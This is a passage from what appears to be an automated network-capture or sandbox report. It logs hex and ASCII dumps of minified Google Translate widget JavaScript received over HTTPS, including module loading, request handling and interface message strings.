mf=function(a){kf.call(this,function(){return a});this.j=a};_.w(mf,kf);mf.prototype.next=function(){re
2022-08-16 09:05:51 UTC	53	IN	Data Raw: 61 2c 62 29 7b 72 65 74 75 72 6e 20 72 66 28 74 68 69 73 2e 68 2c 61 29 3f 74 68 69 73 2e 68 5b 61 5d 3a 62 7d 3b 5f 2e 68 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 66 28 74 68 69 73 2e 68 2c 61 29 7c 7c 28 74 68 69 73 2e 73 69 7a 65 2b 3d 31 2c 74 68 69 73 2e 67 2e 70 75 73 68 28 61 29 2c 74 68 69 73 2e 6a 2b 2b 29 3b 74 68 69 73 2e 68 5b 61 5d 3d 62 7d 3b 5f 2e 68 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 74 68 69 73 2e 4c 62 28 29 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 63 5b 64 5d 2c 66 3d 74 68 69 73 2e 67 65 74 28 65 29 3b 61 2e 63 61 6c 6c 28 62 2c 66 2c 65 2c 74 68 69 73 29 7d 7d 3b 5f 2e 68 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e Data Ascii: a,b){return rf(this.h,a)?this.h[a]:b};_.h.set=function(a,b){rf(this.h,a)\|\|(this.size+=1,this.g.push(a),this.j++);this.h[a]=b};_.h.forEach=function(a,b){for(var c=this.Lb(),d=0;d<c.length;d++){var e=c[d],f=this.get(e);a.call(b,f,e,this)}};_.h.keys=function
2022-08-16 09:05:51 UTC	54	IN	Data Raw: 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 61 6c 75 65 73 28 29 7d 3b 0a 76 61 72 20 75 66 3d 5b 5d 2c 76 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 64 29 7b 64 26 26 55 62 28 64 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 66 29 7b 65 5b 66 2e 69 64 5d 3d 21 30 3b 72 65 74 75 72 6e 20 65 7d 2c 63 2e 74 6b 29 7d 76 61 72 20 63 3d 7b 74 6b 3a 7b 7d 2c 69 6e 64 65 78 3a 75 66 2e 6c 65 6e 67 74 68 2c 65 6d 3a 61 7d 3b 62 28 61 2e 67 29 3b 62 28 61 2e 6a 29 3b 75 66 2e 70 75 73 68 28 63 29 3b 61 2e 67 26 26 5f 2e 52 62 28 61 2e 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 65 3d 64 2e 69 64 3b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 26 26 64 2e 6d 6f 64 75 6c 65 26 26 28 65 2e 63 6b 3d 64 2e 6d 6f 64 75 6c 65 29 7d Data Ascii: on(){return this.values()};var uf=[],vf=function(a){function b(d){d&&Ub(d,function(e,f){e[f.id]=!0;return e},c.tk)}var c={tk:{},index:uf.length,em:a};b(a.g);b(a.j);uf.push(c);a.g&&_.Rb(a.g,function(d){var e=d.id;e instanceof A&&d.module&&(e.ck=d.module)}
2022-08-16 09:05:51 UTC	56	IN	Data Raw: 3d 21 30 7d 63 61 74 63 68 28 61 29 7b 42 66 3d 21 31 7d 5f 2e 43 66 3d 42 66 3b 0a 5f 2e 44 66 3d 52 65 67 45 78 70 28 22 5e 28 61 72 7c 63 6b 62 7c 64 76 7c 68 65 7c 69 77 7c 66 61 7c 6e 71 6f 7c 70 73 7c 73 64 7c 75 67 7c 75 72 7c 79 69 7c 2e 2a 5b 2d 5f 5d 28 41 64 6c 6d 7c 41 72 61 62 7c 48 65 62 72 7c 4e 6b 6f 6f 7c 52 6f 68 67 7c 54 68 61 61 29 29 28 3f 21 2e 2a 5b 2d 5f 5d 28 4c 61 74 6e 7c 43 79 72 6c 29 28 24 7c 2d 7c 5f 29 29 28 24 7c 2d 7c 5f 29 22 2c 22 69 22 29 3b 0a 5f 2e 45 66 3d 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 5e 3a 2f 3f 23 2e 5d 2b 29 3a 29 3f 28 3f 3a 2f 2f 28 3f 3a 28 5b 5e 5c 5c 5c 5c 2f 3f 23 5d 2a 29 40 29 3f 28 5b 5e 5c 5c 5c 5c 2f 3f 23 5d 2a 3f 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 28 3f 3d 5b 5c 5c 5c 5c 2f 3f Data Ascii: =!0}catch(a){Bf=!1}_.Cf=Bf;_.Df=RegExp("^(ar\|ckb\|dv\|he\|iw\|fa\|nqo\|ps\|sd\|ug\|ur\|yi\|.[-_](Adlm\|Arab\|Hebr\|Nkoo\|Rohg\|Thaa))(?!.[-_](Latn\|Cyrl)($\|-\|_))($\|-\|_)","i");_.Ef=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#])@)?([^\\\\/?#]?)(?::([0-9]+))?(?=[\\\\/?
2022-08-16 09:05:51 UTC	57	IN	Data Raw: 68 69 73 2c 61 2c 62 29 3b 74 68 69 73 2e 6c 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 41 66 28 7a 66 2c 61 2c 62 29 29 7d 3b 73 61 28 77 66 2c 4c 66 29 3b 0a 76 66 28 7b 67 3a 5b 7b 69 64 3a 77 66 2c 68 66 3a 4c 66 2c 6d 75 6c 74 69 70 6c 65 3a 21 30 7d 5d 7d 29 3b 0a 76 61 72 20 4d 66 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 61 3b 74 68 69 73 2e 74 79 70 65 3d 62 3b 74 68 69 73 2e 76 61 6c 75 65 3d 61 7d 3b 4d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 61 6c 75 65 7d 3b 4d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 76 61 6c 75 65 3d 61 7d 3b 0a 76 61 Data Ascii: his,a,b);this.l.dispatchEvent(new Af(zf,a,b))};sa(wf,Lf);vf({g:[{id:wf,hf:Lf,multiple:!0}]});var Mf=function(a,b){this.defaultValue=a;this.type=b;this.value=a};Mf.prototype.get=function(){return this.value};Mf.prototype.set=function(a){this.value=a};va
2022-08-16 09:05:51 UTC	58	IN	Data Raw: 61 72 20 6b 3d 65 2e 6d 61 74 63 68 28 22 2f 22 2b 67 2b 22 3d 28 5b 5e 2f 5d 2b 29 22 29 3b 6b 26 26 52 66 28 64 2c 67 2c 6b 5b 31 5d 29 7d 29 3b 76 61 72 20 66 3d 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 22 5f 2f 73 73 2f 22 29 3f 22 5f 2f 73 73 2f 22 3a 22 5f 2f 6a 73 2f 22 3b 64 2e 6a 3d 61 2e 73 75 62 73 74 72 28 30 2c 61 2e 69 6e 64 65 78 4f 66 28 66 29 2b 66 2e 6c 65 6e 67 74 68 29 3b 69 66 28 21 62 29 72 65 74 75 72 6e 20 64 3b 28 61 3d 63 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 36 5d 7c 7c 6e 75 6c 6c 29 26 26 5f 2e 47 66 28 61 2c 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 64 2e 68 5b 67 5d 3d 6b 7d 29 3b 72 65 74 75 72 6e 20 64 7d 2c 54 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 73 74 61 72 74 73 57 69 74 68 28 22 68 74 Data Ascii: ar k=e.match("/"+g+"=([^/]+)");k&&Rf(d,g,k[1])});var f=-1!=a.indexOf("_/ss/")?"_/ss/":"_/js/";d.j=a.substr(0,a.indexOf(f)+f.length);if(!b)return d;(a=c.match(_.Ef)[6]\|\|null)&&_.Gf(a,function(g,k){d.h[g]=k});return d},Tf=function(a){return a.startsWith("ht
2022-08-16 09:05:51 UTC	59	IN	Data Raw: 3f 61 2e 71 64 28 62 2c 63 2c 64 2c 65 29 3a 61 3f 28 61 3d 5f 2e 4e 64 28 61 29 29 3f 61 2e 71 64 28 62 2c 63 2c 64 2c 65 29 3a 6e 75 6c 6c 3a 6e 75 6c 6c 2c 62 26 26 28 5f 2e 53 64 28 62 29 2c 64 65 6c 65 74 65 20 74 68 69 73 2e 67 5b 62 2e 6b 65 79 5d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 5f 2e 5a 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 41 63 28 61 2e 67 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 67 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 26 26 5f 2e 53 64 28 62 29 7d 2c 61 29 3b 61 2e 67 3d 7b 7d 7d 3b 5f 2e 49 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 49 2e 47 2e 4c 2e 63 61 6c 6c 28 74 68 69 73 29 3b 5f 2e 5a 66 28 74 68 69 73 29 7d 3b 5f 2e 49 2e 70 72 6f 74 6f 74 Data Ascii: ?a.qd(b,c,d,e):a?(a=_.Nd(a))?a.qd(b,c,d,e):null:null,b&&(_.Sd(b),delete this.g[b.key]);return this};_.Zf=function(a){_.Ac(a.g,function(b,c){this.g.hasOwnProperty(c)&&_.Sd(b)},a);a.g={}};_.I.prototype.L=function(){_.I.G.L.call(this);_.Zf(this)};_.I.protot
2022-08-16 09:05:51 UTC	61	IN	Data Raw: 78 29 28 74 68 69 73 2e 69 69 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 65 72 72 6f 72 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 41 67 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 70 72 6f 67 72 65 73 73 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 78 6a 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 43 6a 2c 74 68 69 73 29 7d 3b 5f 2e 68 3d 66 67 2e 70 72 6f 74 6f 74 79 70 65 3b 5f 2e 68 2e 6f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 63 26 26 21 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 56 22 29 3b 74 68 69 73 2e 67 2e 6f 70 65 6e 28 61 2c 62 29 7d 3b 5f 2e 68 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 69 66 28 Data Ascii: x)(this.ii,this);this.g.onerror=(0,_.x)(this.Ag,this);this.g.onprogress=(0,_.x)(this.xj,this);this.g.ontimeout=(0,_.x)(this.Cj,this)};_.h=fg.prototype;_.h.open=function(a,b,c){if(null!=c&&!c)throw Error("V");this.g.open(a,b)};_.h.send=function(a){if(a)if(
2022-08-16 09:05:51 UTC	62	IN	Data Raw: 4a 3d 21 31 3b 74 68 69 73 2e 73 3d 30 3b 74 68 69 73 2e 42 3d 6e 75 6c 6c 3b 74 68 69 73 2e 58 3d 22 22 3b 74 68 69 73 2e 52 3d 74 68 69 73 2e 57 3d 21 31 7d 3b 5f 2e 79 28 5f 2e 6a 67 2c 5f 2e 47 29 3b 6b 67 3d 2f 5e 68 74 74 70 73 3f 24 2f 69 3b 6c 67 3d 5b 22 50 4f 53 54 22 2c 22 50 55 54 22 5d 3b 5f 2e 6d 67 3d 5b 5d 3b 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 62 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 50 28 29 3b 5f 2e 78 61 28 5f 2e 6d 67 2c 74 68 69 73 29 7d 3b 0a 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 74 68 69 73 2e 67 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5a 60 22 2b 74 68 69 73 2e 6f 2b 22 60 22 2b 61 29 3b 62 3d 62 3f 62 2e 74 6f 55 70 70 Data Ascii: J=!1;this.s=0;this.B=null;this.X="";this.R=this.W=!1};_.y(_.jg,_.G);kg=/^https?$/i;lg=["POST","PUT"];_.mg=[];_.jg.prototype.ba=function(){this.P();_.xa(_.mg,this)};_.jg.prototype.send=function(a,b,c,d){if(this.g)throw Error("Z`"+this.o+"`"+a);b=b?b.toUpp
2022-08-16 09:05:51 UTC	63	IN	Data Raw: 33 35 38 35 0d 0a 74 68 43 72 65 64 65 6e 74 69 61 6c 73 21 3d 3d 74 68 69 73 2e 57 26 26 28 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 74 68 69 73 2e 57 29 3b 74 72 79 7b 6f 67 28 74 68 69 73 29 2c 30 3c 74 68 69 73 2e 73 26 26 28 28 74 68 69 73 2e 52 3d 70 67 28 74 68 69 73 2e 67 29 29 3f 28 74 68 69 73 2e 67 2e 74 69 6d 65 6f 75 74 3d 74 68 69 73 2e 73 2c 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 5a 2c 74 68 69 73 29 29 3a 74 68 69 73 2e 42 3d 5f 2e 68 67 28 74 68 69 73 2e 5a 2c 74 68 69 73 2e 73 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 43 3d 21 30 2c 74 68 69 73 2e 67 2e 73 65 6e 64 28 61 29 2c 74 68 69 73 2e 43 3d 21 31 7d 63 61 74 63 68 28 67 29 7b 6e 67 28 74 68 69 73 29 7d 7d Data Ascii: 3585thCredentials!==this.W&&(this.g.withCredentials=this.W);try{og(this),0<this.s&&((this.R=pg(this.g))?(this.g.timeout=this.s,this.g.ontimeout=(0,_.x)(this.Z,this)):this.B=_.hg(this.Z,this.s,this)),this.C=!0,this.g.send(a),this.C=!1}catch(g){ng(this)}}
2022-08-16 09:05:51 UTC	64	IN	Data Raw: 74 28 22 63 6f 6d 70 6c 65 74 65 22 29 2c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 73 75 63 63 65 73 73 22 29 29 3a 28 61 2e 6c 3d 36 2c 71 67 28 61 29 29 7d 66 69 6e 61 6c 6c 79 7b 72 67 28 61 29 7d 7d 7d 2c 72 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 67 29 7b 6f 67 28 61 29 3b 76 61 72 20 63 3d 61 2e 67 2c 64 3d 61 2e 49 5b 30 5d 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3a 6e 75 6c 6c 3b 61 2e 67 3d 6e 75 6c 6c 3b 61 2e 49 3d 6e 75 6c 6c 3b 62 7c 7c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 72 65 61 64 79 22 29 3b 74 72 79 7b 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 64 7d 63 61 74 63 68 28 65 29 7b 7d 7d 7d 2c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 67 26 26 61 2e 52 26 26 0a 28 61 Data Ascii: t("complete"),a.dispatchEvent("success")):(a.l=6,qg(a))}finally{rg(a)}}},rg=function(a,b){if(a.g){og(a);var c=a.g,d=a.I[0]?function(){}:null;a.g=null;a.I=null;b\|\|a.dispatchEvent("ready");try{c.onreadystatechange=d}catch(e){}}},og=function(a){a.g&&a.R&&(a
2022-08-16 09:05:51 UTC	66	IN	Data Raw: 2e 59 69 2c 63 29 3b 78 67 28 74 68 69 73 2c 61 2c 65 2c 66 2c 63 29 7d 3b 0a 76 61 72 20 77 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 64 3d 76 6f 69 64 20 30 3d 3d 3d 64 3f 7b 7d 3a 64 3b 76 61 72 20 66 3d 5b 5d 3b 79 67 28 61 2c 62 2c 63 2c 64 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 21 31 3a 65 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 66 2e 70 75 73 68 28 67 2e 6f 62 28 29 29 7d 29 3b 72 65 74 75 72 6e 20 66 7d 2c 79 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 67 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 7b 7d 3a 67 3b 62 3d 5f 2e 56 61 28 62 29 3b 66 6f 72 28 76 61 72 20 6b 3d 62 2e 6e 65 78 74 28 29 3b 21 6b 2e 64 6f 6e 65 3b 6b 3d 62 2e 6e 65 78 74 28 29 29 7b 76 61 72 20 6c 3d 6b 2e 76 61 6c 75 65 3b 6b Data Ascii: .Yi,c);xg(this,a,e,f,c)};var wg=function(a,b,c,d,e){d=void 0===d?{}:d;var f=[];yg(a,b,c,d,void 0===e?!1:e,function(g){f.push(g.ob())});return f},yg=function(a,b,c,d,e,f,g){g=void 0===g?{}:g;b=_.Va(b);for(var k=b.next();!k.done;k=b.next()){var l=k.value;k
2022-08-16 09:05:51 UTC	67	IN	Data Raw: 65 61 64 79 22 2c 66 2e 50 2c 21 31 2c 66 29 3b 66 2e 73 3d 33 45 34 3b 44 67 28 61 2e 52 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 2e 73 65 6e 64 28 64 29 3b 72 65 74 75 72 6e 20 65 2e 67 7d 29 3b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 42 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 66 2c 67 3d 21 31 2c 6b 3d 30 3b 6b 3c 62 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 6c 3d 62 5b 6b 5d 3b 69 66 28 21 66 26 26 6c 2e 6a 29 7b 65 3d 21 30 3b 66 3d 6c 2e 68 3b 62 72 65 61 6b 7d 65 6c 73 65 20 6c 2e 6c 26 26 28 67 3d 21 30 29 7d 76 61 72 20 6d 3d 5f 2e 79 61 28 61 2e 67 29 3b 28 65 7c 7c 67 29 26 26 2d 31 21 3d 66 26 26 28 61 2e 67 2e 6c 65 6e 67 74 68 3d 0a 30 29 3b 69 66 28 Data Ascii: eady",f.P,!1,f);f.s=3E4;Dg(a.R,function(){f.send(d);return e.g});return e}return null},Bg=function(a,b,c,d){for(var e=!1,f,g=!1,k=0;k<b.length;k++){var l=b[k];if(!f&&l.j){e=!0;f=l.h;break}else l.l&&(g=!0)}var m=_.ya(a.g);(e\|\|g)&&-1!=f&&(a.g.length=0);if(
2022-08-16 09:05:51 UTC	68	IN	Data Raw: 6f 75 72 63 65 55 52 4c 3d 22 2b 62 29 2c 66 3d 5f 2e 45 62 28 65 29 3b 63 2e 65 76 61 6c 28 66 29 3d 3d 3d 66 26 26 63 2e 65 76 61 6c 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 46 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 46 66 28 61 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 7c 7c 22 22 3b 62 3d 5f 2e 46 66 28 54 66 28 62 29 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 62 26 26 62 2e 6d 61 74 63 68 28 22 28 2f 5f 2f 6a 73 2f 29 7c 28 2f 5f 2f 73 73 2f 29 22 29 26 26 0a 62 2e 6d 61 74 63 68 28 22 2f 6b 3d 22 29 3f 61 Data Ascii: ourceURL="+b),f=_.Eb(e);c.eval(f)===f&&c.eval(f.toString())}catch(g){return!1}else return!1;return!0},Fg=function(a){var b=_.Ff(a.match(_.Ef)[5]\|\|null)\|\|"";b=_.Ff(Tf(b).match(_.Ef)[5]\|\|null);return null!==b&&b.match("(/_/js/)\|(/_/ss/)")&&b.match("/k=")?a
2022-08-16 09:05:51 UTC	69	IN	Data Raw: 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63 74 3a 36 2f 61 6a 61 78 70 72 6f 78 79 2f 77 65 62 73 69 74 65 5f 65 72 72 6f 72 2f 6e 61 76 69 Data Ascii: ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sect:6/ajaxproxy/website_error/navi
2022-08-16 09:05:51 UTC	71	IN	Data Raw: 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72 61 6e 73 6c 61 74 65 64 20 74 68 69 73 20 70 61 67 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 Data Ascii: [a[c]]={}:b=b[a[c]]\|\|(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has translated this page automatically
2022-08-16 09:05:51 UTC	72	IN	Data Raw: 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b 4d 53 47 5f 53 45 4c 45 43 54 5f 4c 41 4e 47 55 41 47 45 3d 22 53 65 6c 65 63 74 20 4c 61 6e 67 Data Ascii: using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;MSG_SELECT_LANGUAGE="Select Lang
2022-08-16 09:05:51 UTC	73	IN	OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE; J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_ALT_ACTIVITY_HELPER_TEXT="Click words above to get alternative translations";J[33]=MSG_ALT_ACTIVITY_HELPER_TEXT;MSG_USE_ALTERNATIVES="Use";J[34]=MSG_USE_ALTERNATIVES;MSG_DRAG_TIP="Drag with shift key to reorder";J[35]=MSG_DRAG_TIP;MSG_CLICK_FOR_ALT="Click for alternative translations";J[36]=MSG_CLICK_FOR_ALT;MSG_DRAG_INSTUCTIONS="Hold down the shift key, click and drag the words above to reorder.";J[37]=MSG_DRAG_INSTUCTIONS; MSG_SUGGESTION_SUBMITTED="Thank you for contributing your translation suggestion to Google Translate.";J[38]=MSG_SUGGESTION_SUBMITTED;MSG_MANAGE_TRANSLATION_FOR_THIS_SITE="Manage translation for this site";J[39]=MSG_MANAGE_TRANSLATION_FOR_THIS_SITE;MSG_ALT_AND_CONTRIBUTE_ACTIVITY_HELPER_TEXT="Click a word for alternative translations or double-click to edit directly";J[40]=MSG_ALT_AND_CONTRIBUTE_ACTIVITY_HELPER_TEXT;MSG_ORIGINAL_TEXT_NO_COLON="Original text";J[41]=MSG_ORIGINAL_TEXT_NO_COLON; J[42]="Translate";J[43]="Translate";J[44]="Your correction has been submitted.";MSG_LANGUAGE_UNSUPPORTED="Error: The language of the web page is not supporte
2022-08-16 09:05:51 UTC	75	IN	Data Raw: 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 4d 65 73 73 61 67 65 73 22 2c 5f 2e 5f 65 78 70 6f 72 74 4d Data Ascii: d.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_.ub("_exportMessages",_._exportM
